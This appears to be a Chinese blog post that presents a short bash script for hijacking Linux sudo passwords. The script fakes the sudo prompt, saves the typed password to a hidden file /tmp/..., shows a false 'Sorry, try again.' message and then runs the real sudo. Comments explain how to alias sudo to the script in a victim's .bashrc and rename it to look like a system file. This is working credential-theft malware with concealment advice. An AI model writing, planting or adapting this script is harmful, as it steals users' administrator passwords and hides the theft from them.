首页 > 系统相关 >简单linux-sudo密码劫持脚本

简单linux-sudo密码劫持脚本

时间:2022-11-20 21:24:15浏览次数:29  
标签:tmp ... 劫持 swhoami passwd sudo echo linux

简单linux-sudo密码劫持脚本

#!/bin/bash

swhoami=`whoami`
if [[ ! -f "/tmp/..." ]]; then
	swhoami=`whoami`
	read -s -p "[sudo] password for $swhoami: " passwd
	echo "$passwd" >> /tmp/...
	echo ""
	sleep 1s
	echo "Sorry, try again."
fi
read -s -p "[sudo] password for $swhoami: " passwd
echo "$passwd" >> /tmp/...
echo "$passwd"| /usr/bin/sudo -S whoami > /dev/null 2>&1 && echo "" && /usr/bin/sudo $*


# 使用方法:
# 可劫持用户输入密码 存放到/tmp/...里面
#vim /tmp/.sudo  //将上面的内容写入到/tmp/.sudo
#vim /home/test/.bashrc    //修改test用的bashrc文件 
#alias sudo=/tmp/.sudo		//将此内容写入到bashrc
#chmod 777 /tmp/.sudo		//修改.sudo权限为777

# 建议将.sudo 名字修改为.XI1-unix 或.Test-unix 进行伪装

标签:tmp,...,劫持,swhoami,passwd,sudo,echo,linux
From: https://www.cnblogs.com/startstart/p/16909516.html

相关文章

  • Linux 使用 iptables 禁止某些 IP 访问
    在Linux服务器被攻击的时候,有的时候会有几个主力IP。如果能拒绝掉这几个IP的攻击的话,会大大减轻服务器的压力,说不定服务器就能恢复正常了。在Linux下封停IP,有封杀网段和封......
  • linux vim 复制粘贴代码
    将光标移动到复制的起始位置,按一下大写V或小写v,(大写V是整行,小写是光标处),然后上下左右将光标移动到复制的末尾,然后按下y,移动到要粘贴的位置,按下大写P或小写p(大写P:光标之前......
  • SecureCRT远程连接linux
    现在我们使用远程工具进行登录,SecureCRT显示......
  • Zabbix监控Linux主机
    1、监控Linux主机1.1、在需要被监控的Linux服务器上安装zabbix-agent以及配置zabbix服务我在ubuntu20.04的版本apt安装zabbix5.0LTS这篇文章中实现了,这里我就基于上篇文章......
  • QEMU调试Linux系统的USB协议栈
    QEMU调试Linux系统的USB协议栈通过使用QEMU调试Linux系统的USB协议栈来学习USB协议栈。mingdu.zhengatgmaildotcom安装QEMUsudoapt-getinstallqemu-system-i386启动......
  • Linux中如何开启一个定时任务
    Linux的定时任务是基于cron驱动做到的安装Ubantu系统下安装crontab正常情况下需要先执行:apt-getupgrade进行升级安装:apt-getinstallcron启动:servicecronstar......
  • linux 多线程 c++2
    为了在用线程分离的时候保证即使主线程退出了,子线程还能正常运行,可以使用pthread_exit(NULL)去退出主线程,这样地址空间还能正常存在线程分离是为了保证主线程不会被堵塞,还能......
  • Linux的文件系统分层结构(FSH):Filesystem Hierarchy Standard
    Linux的文件系统分层结构:Lunux文件系统常用的目录如下:根目录(/):根目录是整个系统最重要的一个目录,因为不但所有的目录都是由根目录衍生出来的,同时根目录也与开机、还原、......
  • 嵌入式linux日常使用的网络工具分享
    前言作为嵌入式linux开发中我们经常会调试网络,这个时候需要一些网络工具辅助我们的工作,有一些是命令工具有些是GUI工具,这些生产力工具如何使用呢,今天做一个小分享(本篇文章......
  • Linux下安装Java运行环境
    1.下载java8的包,并上传到服务器/usr/local目录下wget命令是一个从网络上下载文件的自由工具,它支持http协议,https协议和ftp协议。因此我们可以通过wget命令来下载JDK。wge......